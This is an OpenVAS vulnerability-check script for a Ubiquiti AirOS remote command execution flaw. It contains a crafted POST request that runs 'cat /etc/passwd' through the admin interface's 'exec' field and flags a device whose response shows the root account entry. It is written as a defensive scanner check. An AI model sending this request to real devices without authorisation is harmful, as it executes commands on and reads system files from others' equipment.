Ubiquiti Networks AirOS Remote Command Execution Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_Ubiquiti_AirOS_51178.nasl 6900 2017-08-11 08:03:42Z cfischer $
#
# Ubiquiti Networks AirOS Remote Command Execution Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "AirOS is prone to a vulnerability that lets attackers execute
arbitrary commands in the context of the application. This issue
occurs because the application fails to adequately sanitize user-
supplied input.

Successful attacks can compromise the affected application and
possibly the underlying device.";

tag_solution = "Updates are available. Please see the references for more details.";

if (description)
{
 script_id(103371);
 script_bugtraq_id(51178);
 script_version ("$Revision: 6900 $");

 script_name("Ubiquiti Networks AirOS Remote Command Execution Vulnerability");

 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/51178");
 script_xref(name : "URL" , value : "http://archives.neohapsis.com/archives/fulldisclosure/2011-12/0412.html");
 script_xref(name : "URL" , value : "http://www.ubnt.com/");
 script_xref(name : "URL" , value : "http://ubnt.com/forum/showthread.php?p=236875");

 script_tag(name:"cvss_base", value:"9.3");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
 script_tag(name:"last_modification", value:"$Date: 2017-08-11 10:03:42 +0200 (Fri, 11 Aug 2017) $");
 script_tag(name:"creation_date", value:"2011-12-22 15:05:11 +0100 (Thu, 22 Dec 2011)");
 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("global_settings.inc");
   
port = get_http_port(default:80);
if(!get_port_state(port))exit(0);

files = make_list("/admin.cgi/sd.css","/adm.cgi/sd.css");
host = get_host_name();

foreach file (files) {

  url = string(file);
  req = http_get(item:url, port:port);
  buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
  if( buf == NULL )continue;

  if("<title>Device administration utility" >< buf) {


    req = string(
		 "POST ",file ," HTTP/1.1\r\n",
		 "Host: ",host,"\r\n",
		 "Accept-Encoding: gzip, deflate\r\n",
		 "DNT: 1\r\n",
		 "Referer: http://",host,"/admin.cgi/sd.css\r\n",
		 "Cookie: AIROS_SESSIONID=a447a1b693b321f598389d6972ab5c18; ui_language=pt_PT\r\n",
		 "Content-Type: multipart/form-data; boundary=---------------------------15531490717347903902081461200\r\n",
		 "Content-Length: 300\r\n",
		 "\r\n",
		 "-----------------------------15531490717347903902081461200\r\n",
		 'Content-Disposition: form-data; name="exec"',"\r\n",
		 "\r\n",
		 "cat /etc/passwd\r\n",
		 "-----------------------------15531490717347903902081461200\r\n",
		 'Content-Disposition: form-data; name="action"',"\r\n",
		 "\r\n",
		 "cli\r\n",
		 "-----------------------------15531490717347903902081461200--\r\n\r\n");
    
    result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

    if(result =~ ":0:0:Administrator:/etc/persistent:") {
    
      security_message(port:port);
      exit(0);

    }  
  }  
}

exit(0);